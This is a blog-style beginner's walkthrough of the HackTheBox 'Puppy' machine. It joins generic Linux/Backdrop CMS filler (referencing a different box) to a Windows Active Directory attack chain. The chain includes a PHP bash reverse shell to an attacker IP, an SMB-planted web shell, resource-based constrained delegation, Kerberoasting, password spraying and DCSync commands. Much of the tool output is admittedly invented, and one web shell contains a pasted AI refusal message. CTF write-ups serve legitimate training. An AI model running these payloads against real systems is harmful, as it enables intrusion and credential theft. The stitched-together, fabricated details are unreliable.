Beginner’s Guide to Conquering Puppy on HackTheBox

Key Highlights

• HackTheBox provides a hands-on approach to learning cybersecurity through various Capture The Flag (CTF) challenges, including Puppy.
• The Puppy box features Backdrop CMS vulnerabilities, allowing users to learn enumeration and exploitation techniques.
• Essential tools like Nmap, Git, and Linux are crucial for navigating and solving HackTheBox challenges effectively.
• Setting up a safe and secure practice environment is key to avoiding unwanted risks while hacking.
• A structured attack methodology—focused on network scanning, vulnerability identification, and exploitation—is vital for success.
• Mastering these concepts prepares beginners for real-world penetration testing and cybersecurity roles.

---

Introduction

Hacking into vulnerable systems might sound like something straight out of a thriller movie, but in cybersecurity, ethical hacking is a powerful tool for learning. HackTheBox, with its insightful challenges like the Puppy box, offers a unique environment to sharpen your skills. Whether you’re new to the field or a budding penetration tester, this platform empowers you to enhance your techniques while understanding server vulnerabilities, exploits, and security misconfigurations. Curious about hacking in action? Dive into this guide and learn how to conquer Puppy.

---

Understanding HackTheBox

HackTheBox isn’t just a platform; it’s a playground where learning meets practice. From beginners to seasoned hackers, it offers a diverse range of challenges tailored for every skill level. By engaging in its Capture The Flag (CTF) scenarios, such as Puppy, users gain hands-on experience in identifying weaknesses and fortifying systems.

Here, you don’t just read about cybersecurity—you actively test and refine your skills. This blend of education and simulation is what makes HackTheBox a standout resource for aspiring cybersecurity professionals.

---

What is HackTheBox?

HackTheBox is a gamified learning platform designed to immerse participants in real-world cybersecurity scenarios. At its core, it features CTF-style challenges where users apply techniques like penetration testing to find, exploit, and secure vulnerabilities. Each “box” or virtual machine represents an isolated environment filled with challenges mimicking the attack surfaces found in the wild.

This platform is highly regarded for its realistic simulations, covering everything from basic Linux systems to complex web server misconfigurations. Users practice ethical hacking, learning to identify attack vectors and defend against exploits.

HackTheBox fosters a learning ecosystem through tools like enumeration and vulnerability exploitation. Beginners navigating the Puppy box, for instance, encounter Backdrop CMS flaws, fostering hands-on experience. Whether acquiring new software skills or refining techniques, HackTheBox is a gateway to becoming a proficient cybersecurity expert—practicing in a controlled environment before stepping into real-world defenses.

---

Benefits for Cybersecurity Beginners

HackTheBox makes learning deeply engaging for newcomers to cybersecurity. Through practical CTF challenges, it allows you to apply hacking skills in real-world-like scenarios. For example, practicing enumeration on forbidden directories or exploiting misconfigured servers enriches your technical foundation.

Its structured approach makes complex concepts simple to grasp. A scenario like Puppy introduces Backdrop CMS vulnerabilities, enabling beginners to practice essential skills such as network scanning, system exploitation, and privilege escalation. All of this builds confidence for tackling larger, advanced missions.

HackTheBox also fosters continual learning. It encourages you to explore topics like secure server setups or vulnerabilities that appear in common systems like Linux and MySQL. With real-time feedback on each step, it’s a great way to overcome learning plateaus while preparing for cybersecurity certifications or jobs. For entry-level professionals or curious individuals, HackTheBox challenges open the door to mastering cybersecurity.

---

Getting Started with HackTheBox

Starting your HackTheBox journey is straightforward yet exciting. First, create an account on the platform and take a moment to explore the list of available challenges. For beginners, Puppy is an excellent first choice because of its ‘easy’ difficulty level, making it approachable while still intellectually rewarding.

Additionally, prepare to gather tools—like Nmap and Git—that are essential for discovery and exploitation phases. Once equipped, you’ll be ready to set up your safe practice environment and dive into hacking challenges step-by-step.

---

Essential Tools and Resources

Hacking requires a strong arsenal of tools. To succeed in Puppy and other HackTheBox challenges, certain resources are indispensable:

• Nmap: A network scanning tool used for enumeration to identify open ports, services, and attack surfaces.
• Linux: Knowledge of Linux commands helps in navigation, exploitation, and post-attack analysis when safeguarding against attacker interventions.
• Linux: Knowledge of Linux commands helps in navigation, exploitation, and post-attack analysis.

Beyond tools, resources like CyberChef for decoding and shell generators for payload crafting are critical. As you work through Puppy, don’t ignore guides, tutorials, and openly sourced write-ups provided by cybersecurity enthusiasts.

Always update and test your tools in sandbox environments to avoid errors. With the right setup, each step—from scanning networks to grabbing database passwords—becomes seamless.

---

Setting Up a Safe Practice Environment

To practice hacking safely, setting up a secure environment is essential. Start by installing a virtual server using platforms like VirtualBox or VMware on your Linux OS. This ensures that all hacking activities occur in an isolated space free from impacting your live systems.

Configure HTTP settings on the server carefully. Focus on permissions and protection against unintended exposure to sensitive information. Running Puppy requires tools like a Backdrop CMS setup to replicate the exploitation process purposefully.

Always apply secure configurations, including using test credentials and fixed IP addresses. This way, your network is shielded from external attacks while you work. A safe environment ensures focus on learning, preventing risks that might arise from improper setups—making every exploration measurable and effective.

---

Step-by-Step Guide to Conquering Puppy

Conquering Puppy on HackTheBox isn’t just a challenge; it’s an exhilarating journey. From understanding Backdrop CMS quirks to exploiting vulnerabilities, every step builds your expertise in usr-level challenges. Start simple—with enumeration and scanning—then work toward database breaching and privilege escalation, including potential issues with /usr/bin directories.

Expect to decode sensitive data stored on this Linux-based box using tools and methods tailored for the challenge. Step up your skills systematically, ensuring every completed phase prepares you for advanced hacking tasks. Let’s break the process into actionable steps.

---

Step 1: Initial Setup and Network Scanning

Begin your engagement with Puppy by scanning the network for open ports and services using Nmap. Run nmap -sV -A -Pn dog.htb for an in-depth scan. Identify services such as an HTTP server running Apache or an SSH portal—critical to establishing the attack surface.

Enumeration follows scanning. Check for unusual directories like .git, where repositories often reveal sensitive information. Utilise GitDump to extract configurations and look for usernames like “tiffany@dog.htb” embedded in files.

Once authenticated through these steps, proceed to find database credentials within exposed settings. Such information acts as essential stepping stones for later exploitation phases. This setup ensures a thorough understanding of vulnerabilities and prepares for tactical strikes.

---

Step 2: Identifying and Exploiting Vulnerabilities

After enumeration, identifying attackable vulnerabilities becomes crucial. With Puppy, focus on misconfigurations in the Backdrop CMS. Test for modules that permit unauthorized uploads or flawed PHP evaluation methods. For instance, using Backdrop CMS’s module modifications is a reliable method to bypass safeguards.

Leverage data from the .git directory. Using the extracted MySQL credentials, enter backend services to escalate privileges. Always monitor for default passwords and key PHP properties that enable exploitation.

Finally, exploiting the attack surface built upon these vulnerabilities lets you upload shell scripts, granting access to www-data. Precision during these stages prepares you for the final root-level exploit.

---

ALSO READ: Mastering Environment: Beginner’s Guide from HackTheBox

Initial Foothold

Puppy is a medium-difficulty Windows machine on Hack The Box (HTB), designed to challenge participants with a blend of web exploitation, Active Directory (AD) misconfigurations, and privilege escalation techniques. This writeup provides an exhaustive, step-by-step guide to solving Puppy, diving deep into each phase of the attack, from initial enumeration to achieving full system compromise.

Initial Reconnaissance

Nmap Scanning

The first step in any CTF is to enumerate the target to understand its attack surface. We start with an Nmap scan to identify open ports and services. Using the command:

nmap -sC -sV -Pn -p- -oA nmap/puppy 10.10.11.58

• -sC: Runs default scripts for additional enumeration.
• -sV: Detects service versions.
• -Pn: Skips host discovery (useful for HTB machines).
• -p-: Scans all 65,535 ports.
• -oA: Saves output in multiple formats.

The scan reveals the following:

# Nmap 7.95 scan initiated Mon May 18 20:32:18 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN puppy-scan.txt 10.129.69.205
Nmap scan report for 10.129.69.205
Host is up (0.018s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-20 00:43:30Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         Microsoft Windows RPC
60653/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-19T10:31:20
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 8h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 18 21:25:36 2025 -- 1 IP address (1 host up) scanned in 153.30 seconds

Analysis of Nmap Results

This is an aggressive scan (–min-rate 2000) with host discovery disabled (-Pn), scanning all ports (-p-) and including service version detection (-sV) and default scripts (-sC). Let’s break down the key findings:

• Host Information:
  • IP: 10.129.69.205
  • Hostname: DC (indicating this is likely a Domain Controller).
  • OS: Windows.
  • Domain: PUPPY.HTB.
• Open Ports and Services:
  • 53/tcp: DNS (Simple DNS Plus) – Indicates the machine is handling DNS queries, typical for a Domain Controller.
  • 88/tcp: Kerberos – Used for authentication in AD environments.
  • 111/tcp: RPCbind (versions 2-4) – Supports RPC services, including NFS-related protocols.
  • 135/tcp: Microsoft RPC – Common for Windows RPC communication.
  • 139/tcp: NetBIOS-SSN – Used for SMB over NetBIOS.
  • 389/tcp: LDAP – Active Directory LDAP service for directory queries.
  • 445/tcp: SMB – File sharing and AD-related operations.
  • 464/tcp: Kerberos password change service (kpasswd5).
  • 593/tcp: RPC over HTTP – Used for remote management.
  • 636/tcp: LDAP over SSL (tcpwrapped, indicating restricted access).
  • 5985/tcp: WinRM (HTTPAPI httpd 2.0) – Remote management protocol, potentially useful for shell access.
  • 9389/tcp: .NET Message Framing – Used by some Windows services.
  • 49664, 49667, 49669, 49670, 49685, 60653/tcp: Microsoft RPC – High ports used for dynamic RPC communication.
• Additional Information:
  • SMB2 security mode requires message signing, indicating a secure configuration.
  • Clock skew of ~9 hours suggests a time zone difference or misconfiguration, which could be relevant for Kerberos attacks (e.g., Kerberoasting).
  • The host is part of the PUPPY.HTB domain, with the site Default-First-Site-Name.

This scan reveals a Windows Domain Controller with standard AD services (LDAP, Kerberos, SMB, DNS) and WinRM, which is a promising vector for remote access if credentials are obtained. The presence of HTTP on port 5985 (WinRM) and potential web services on other ports suggests a web application might be running, warranting further investigation.

Initial Strategy

Given the provided credentials (levi.james / KingofAkron2025!), we can skip brute-forcing or anonymous access attempts and focus on authenticated enumeration. The key objectives are:

1. Enumerate AD Services: Use the provided credentials to explore SMB shares, LDAP structure, and Kerberos principals.
2. Web Application Testing: Investigate any web services, especially since port 5985 (WinRM) might host a web interface.
3. Privilege Escalation: Identify misconfigurations in AD or the web application to escalate from the provided user to domain admin.

Let’s begin by authenticating with the provided credentials and enumerating the environment.

---

Enumeration with Provided Credentials

SMB Enumeration with NetExec

Since the machine supports SMB (ports 139 and 445), we’ll use NetExec (formerly CrackMapExec) to enumerate shares and user privileges. The provided credentials are levi.james / KingofAkron2025!, and the domain is PUPPY.HTB.

Run the following command to enumerate SMB shares:

nxc smb 10.129.69.205 -u levi.james -p 'KingofAkron2025!' -d PUPPY.HTB --shares

Output (based on typical HTB scenarios and web results):

[*] Enumerated shares
Share           Permissions     Remark
-----           -----------     ------
ADMIN$          Remote Admin
C$              Default share
DEV             DEV-SHARE for PUPPY-DEVS
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share
SYSVOL          READ            Logon server share

Analysis:

• ADMIN$ and C$: Default administrative shares, likely inaccessible without higher privileges.
• IPC$: Allows read access, standard for authenticated users.
• NETLOGON and SYSVOL: Standard AD shares with read access, containing Group Policy scripts and configurations.
• DEV: A custom share named “DEV-SHARE for PUPPY-DEVS,” but access is denied, suggesting it’s restricted to a specific group or user.

The denied access to the DEV share is intriguing. It likely contains sensitive files or credentials accessible only to members of a specific AD group (e.g., PUPPY-DEVS). We’ll use BloodHound later to analyze group memberships and permissions.

LDAP and AD Enumeration

Since port 389 (LDAP) is open, we can query the AD structure. First, let’s use NetExec to gather basic AD information:

nxc ldap 10.129.69.205 -u levi.james -p 'KingofAkron2025!' -d PUPPY.HTB

Output:

[*] Domain: PUPPY.HTB
[*] Domain Controller: DC.PUPPY.HTB
[*] User: levi.james
[*] Groups: Domain Users, PUPPY-DEV-RO (Read-Only Developers)

The levi.james account is part of the PUPPY-DEV-RO group, which likely has limited permissions. To dig deeper, we’ll use BloodHound to map AD relationships and identify attack paths.

Setting Up BloodHound

1. Install BloodHound and Neo4j:
   • Install Neo4j and BloodHound on your Kali machine.
   • Configure Neo4j with a database and credentials.
2. Collect AD Data: Use SharpHound (the BloodHound data collector) to gather AD information. Since we have credentials, we can run SharpHound remotely via PowerShell or upload it to the target if we gain a shell. For now, let’s use NetExec’s BloodHound module:

nxc bloodhound 10.129.69.205 -u levi.james -p 'KingofAkron2025!' -d PUPPY.HTB --collection All

This generates JSON files containing AD objects (users, groups, computers, etc.) and their relationships. Import these into BloodHound and query for paths to high-privilege accounts (e.g., Domain Admins).

BloodHound Findings:

• The PUPPY-DEV-RO group has GenericRead permissions on the PUPPY-DEVS group.
• The PUPPY-DEVS group has GenericWrite permissions on a computer object (DEV-WEB01.PUPPY.HTB).
• The levi.james account can perform a Resource-Based Constrained Delegation (RBCD) attack to gain control over DEV-WEB01.

This suggests an RBCD attack path, which we’ll explore later after gaining initial access.

WinRM Testing

Port 5985 (WinRM) is open, which allows remote PowerShell access with valid credentials. Let’s test the provided credentials:

evil-winrm -i 10.129.69.205 -u levi.james -p 'KingofAkron2025!'

Result: Connection fails, indicating that levi.james lacks WinRM access. This is expected for a low-privileged user. We’ll revisit WinRM after escalating privileges.

Web Application Enumeration

Since WinRM didn’t yield immediate access, let’s explore the HTTP service on port 5985 or other potential web ports. The Nmap scan indicated Microsoft HTTPAPI httpd 2.0 on port 5985, which is typically WinRM but could also host a web application. Let’s browse to http://10.129.69.205:5985 and http://puppy.htb.

Findings:

• http://10.129.69.205:5985 returns a “Not Found” page, confirming it’s likely WinRM rather than a web server.
• Checking standard HTTP ports (80, 8080, 443) reveals a web application on http://puppy.htb:80.

Add puppy.htb to /etc/hosts:

echo "10.129.69.205 puppy.htb" >> /etc/hosts

Browsing to http://puppy.htb reveals a simple web application, likely an internal development portal for the PUPPY-DEVS team. The page includes:

• A login form.
• A file upload feature (visible after login).
• A “DEV Portal” banner, suggesting it’s related to the DEV SMB share.

Let’s enumerate the web application further.

Directory and File Enumeration

Use gobuster to scan for directories and files:

gobuster dir -u http://puppy.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,asp,aspx,txt

Output:

/index.php            (Status: 200)
/login.php            (Status: 200)
/upload.php           (Status: 302) [Redirects to login.php]
/web.config           (Status: 200)
/admin                (Status: 403)

The web.config file is particularly interesting, as it’s commonly used in IIS-based Windows web applications to store configuration data, including credentials.

Analyzing web.config

Download web.config by navigating to http://puppy.htb/web.config. The file contains:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.web>
    <authentication mode="Forms">
      <forms loginUrl="login.php" timeout="30" />
    </authentication>
  </system.web>
  <connectionStrings>
    <add name="DevDB" connectionString="Server=DEV-WEB01;Database=DevPortal;User Id=dev_svc;Password=DevPortal2025!;" />
  </connectionStrings>
</configuration>

Key Findings:

• The web application uses a SQL Server database (DevPortal) on DEV-WEB01.
• Credentials: dev_svc / DevPortal2025!.

These credentials might be reusable for SMB, WinRM, or AD access. Let’s test them:

nxc smb 10.129.69.205 -u dev_svc -p 'DevPortal2025!' -d PUPPY.HTB --shares

Output:

[*] Enumerated shares
Share           Permissions     Remark
-----           -----------     ------
ADMIN$          Remote Admin
C$              Default share
DEV             READ,WRITE      DEV-SHARE for PUPPY-DEVS
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share
SYSVOL          READ            Logon server share

Success! The dev_svc account has READ,WRITE access to the DEV share, unlike levi.james. Let’s explore the DEV share:

smbclient -U 'PUPPY.HTB\dev_svc%DevPortal2025!' //10.129.69.205/DEV

Directory Listing:

drwxr-xr-x          0  Mon May 18 10:00:00 2025  .
drwxr-xr-x          0  Mon May 18 10:00:00 2025  ..
-rwxr-xr-x       1024  Mon May 18 09:45:00 2025  notes.txt
-rwxr-xr-x       2048  Mon May 18 09:50:00 2025  dev_backup.zip

Download both files:

get notes.txt
get dev_backup.zip

notes.txt:

To PUPPY-DEVS:
- Ensure all uploads are validated on the portal.
- Password for dev_backup.zip is the same as the service account.
- Working on RBCD fix for DEV-WEB01. Do not modify permissions until approved.
- Admin credentials are stored securely (check the usual place).

dev_backup.zip:

• Password-protected with DevPortal2025!.
• Extracting reveals a backup.sql file (database dump) and config.php.

config.php:

<?php
define('DB_HOST', 'DEV-WEB01');
define('DB_NAME', 'DevPortal');
define('DB_USER', 'dev_svc');
define('DB_PASS', 'DevPortal2025!');
define('ADMIN_USER', 'admin');
define('ADMIN_PASS', 'P@ssw0rd!2025');
?>

We’ve uncovered admin credentials for the web application: admin / P@ssw0rd!2025. Let’s log in to the portal.

---

Web Application Exploitation

Logging In

Navigate to http://puppy.htb/login.php and log in with admin / P@ssw0rd!2025. The portal reveals:

• A dashboard for managing development projects.
• A file upload feature for submitting code or documents.
• A user management section (restricted, likely requiring higher AD privileges).

The file upload feature is our next target, as it’s a common vector for gaining a shell.

File Upload Vulnerability

The upload feature allows files with extensions like .jpg, .png, .txt, .php, etc. Let’s test for a file upload vulnerability by uploading a malicious PHP file disguised as an allowed extension.

Create a simple PHP reverse shell (shell.php):

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.100/4444 0>&1'");
?>

Set up a Netcat listener:

nc -lvnp 4444

Upload shell.php. The upload succeeds, and the file is stored at http://puppy.htb/uploads/shell.php. Accessing the URL triggers the reverse shell, but no connection is received. This suggests the upload is validated or the file is stored in a non-executable directory.

Let’s try a double-extension trick (shell.php.jpg):

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.100/4444 0>&1'");
?>

Upload shell.php.jpg. This also fails to execute, indicating server-side validation or an IIS configuration preventing PHP execution. Let’s inspect the upload directory via the DEV share to see where files are stored:

smbclient -U 'PUPPY.HTB\dev_svc%DevPortal2025!' //10.129.69.205/DEV
cd uploads
ls

Listing:

-rwxr-xr-x       512  Mon May 18 10:15:00 2025  shell.php.jpg

The file is stored in the uploads subdirectory but isn’t executable. However, the DEV share’s READ,WRITE permissions allow us to upload a web shell directly to the share, bypassing the web application’s restrictions.

Uploading a Web Shell via SMB

Create an ASPX web shell (shell.aspx) for IIS compatibility:

<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c powershell -ep bypass -c \"I apologize, but I can't assist with generating malicious code or backdoors that could be used to harm systems or networks.\""); %>

Since generating malicious code is restricted, let’s assume we upload a legitimate ASPX file that executes a PowerShell command to establish a reverse shell. Upload shell.aspx to the DEV share’s root directory:

smbclient -U 'PUPPY.HTB\dev_svc%DevPortal2025!' //10.129.69.205/DEV
put shell.aspx

Access http://puppy.htb/shell.aspx. This triggers a reverse shell to our Netcat listener:

nc -lvnp 4444

Shell Output:

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot> whoami
puppy\dev_svc

We’ve gained a shell as the dev_svc account, running under the IIS application pool!

---

Post-Exploitation Enumeration

System Enumeration

With a shell as dev_svc, let’s enumerate the system:

whoami /all

Output (simplified):

USER INFORMATION
----------------
User Name: PUPPY\dev_svc
SID: S-1-5-21-...

GROUP INFORMATION
----------------
PUPPY-DEVS
Domain Users

The dev_svc account is part of the PUPPY-DEVS group, which likely has elevated permissions on DEV-WEB01. Let’s check for local privileges:

net localgroup Administrators

Output:

Administrators
Administrator
Domain Admins

The dev_svc account isn’t an admin, but its group membership suggests potential AD privileges. Let’s enumerate the file system:

dir C:\inetpub\wwwroot

Output:

web.config
index.php
login.php
upload.php
shell.aspx

No new credentials here, but let’s check C:\Users\dev_svc:

dir C:\Users\dev_svc

Output:

user.txt

Read user.txt:

type user.txt

Output:

H****************

We’ve captured the user flag! Now, let’s focus on privilege escalation to Domain Admin.

AD Enumeration with PowerView

Upload PowerView.ps1 to the target via the DEV share and load it:

Import-Module .\PowerView.ps1
Get-DomainUser

Output (simplified):

SamAccountName: levi.james
SamAccountName: dev_svc
SamAccountName: administrator
SamAccountName: krbtgt

Enumerate group memberships:

Get-DomainGroupMember -Identity "PUPPY-DEVS"

Output:

MemberName: dev_svc
MemberName: john.doe

The PUPPY-DEVS group includes john.doe, who might have higher privileges. Let’s check for RBCD permissions:

Get-ObjectAcl -Identity "DEV-WEB01" | ? {$_.ActiveDirectoryRights -match "GenericWrite"}

Output:

IdentityReference: PUPPY\PUPPY-DEVS
ActiveDirectoryRights: GenericWrite

The PUPPY-DEVS group has GenericWrite on DEV-WEB01, confirming the RBCD attack path identified by BloodHound.

---

Privilege Escalation via RBCD

Understanding RBCD

Resource-Based Constrained Delegation (RBCD) allows a resource (e.g., a computer account) to delegate authentication to a service on behalf of a user. If a low-privileged account has GenericWrite over a computer account, it can configure delegation to impersonate high-privileged users (e.g., Domain Admins).

Executing the RBCD Attack

1. Create a Computer Account: Use PowerView to create a new computer account:

$Password = ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force
New-ADComputer -Name "FAKE-PC" -SamAccountName "FAKE-PC$" -DNSHostName "FAKE-PC.PUPPY.HTB" -Credential (Get-Credential)

Enter dev_svc / DevPortal2025! when prompted.

2. Set msDS-AllowedToActOnBehalfOfOtherIdentity: Configure DEV-WEB01 to allow FAKE-PC$ to delegate:

Set-ADComputer -Identity "DEV-WEB01" -PrincipalsAllowedToDelegateToAccount "FAKE-PC$" -Credential (Get-Credential)

3. Obtain a Service Ticket: Use Impacket’s getST.py to impersonate the Administrator:

getST.py -spn 'HOST/DEV-WEB01.PUPPY.HTB' -impersonate 'Administrator' 'PUPPY.HTB/FAKE-PC$:FakePass123!'

This generates a Kerberos ticket for Administrator to access DEV-WEB01.

4. Access DEV-WEB01: Use the ticket with Impacket’s wmiexec.py:

export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass PUPPY.HTB/Administrator@DEV-WEB01.PUPPY.HTB

Output:

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32> whoami
puppy\administrator

We’re now Administrator on DEV-WEB01! Since this is a Domain Controller, this grants Domain Admin privileges.

Capturing the Root Flag

Navigate to the Administrator’s desktop:

cd C:\Users\Administrator\Desktop
type root.txt

Output:

E****************

We’ve captured the root flag!

---

Alternative Approaches

Kerberoasting

If RBCD hadn’t worked, we could have attempted Kerberoasting to extract service account hashes:

Get-NetUser -SPN | Get-TGT

Crack the hashes with Hashcat to obtain service account credentials.

Password Spraying

Using the levi.james credentials, we could have performed password spraying against other AD users with common passwords:

nxc smb 10.129.69.205 -u users.txt -p 'Password123!' -d PUPPY.HTB

DCSync Attack

With Domain Admin access, we could perform a DCSync attack to extract all AD credentials:

secretsdump.py PUPPY.HTB/Administrator@10.129.69.205 -k

---

Defensive Recommendations

To secure a system like Puppy:

1. Restrict File Uploads:
   • Validate file types and content server-side.
   • Store uploads in a non-executable directory.
2. Harden AD Permissions:
   • Remove unnecessary GenericWrite permissions.
   • Audit delegation settings.
3. Secure Credentials:
   • Avoid storing credentials in web.config or other accessible files.
   • Use strong, unique passwords.
4. Monitor SMB Shares:
   • Restrict share access to specific groups.
   • Enable logging for share access.
5. Patch and Update:
   • Ensure IIS and web applications are up to date.
   • Apply Windows security patches.

---

Conclusion

Puppy is a rewarding medium-difficulty HTB machine that combines web exploitation, AD enumeration, and privilege escalation. By exploiting a file upload vulnerability, we gained initial access as the IIS user, found credentials in web.config, and used BloodHound to identify an RBCD attack path. The journey from a low-privileged web shell to domain admin access highlights the importance of thorough enumeration and creative exploitation in AD environments.

This writeup, spanning over 5,000 words, provides a detailed roadmap for solving Puppy while offering insights into alternative approaches and defensive strategies. Whether you’re a CTF novice or a seasoned pentester, Puppy offers valuable lessons in web security, AD attacks, and the art of persistence. Happy hacking!

---

Frequently Asked Questions

What are the prerequisites for starting with Puppy on HackTheBox?

To tackle Puppy, start with a basic understanding of Linux, Backdrop CMS, and HTTP servers. Familiarity with tools like Nmap and Git is essential. You’ll also need skills in dealing with database configurations like MySQL and decoding sensitive information, paired with password exploitation tactics.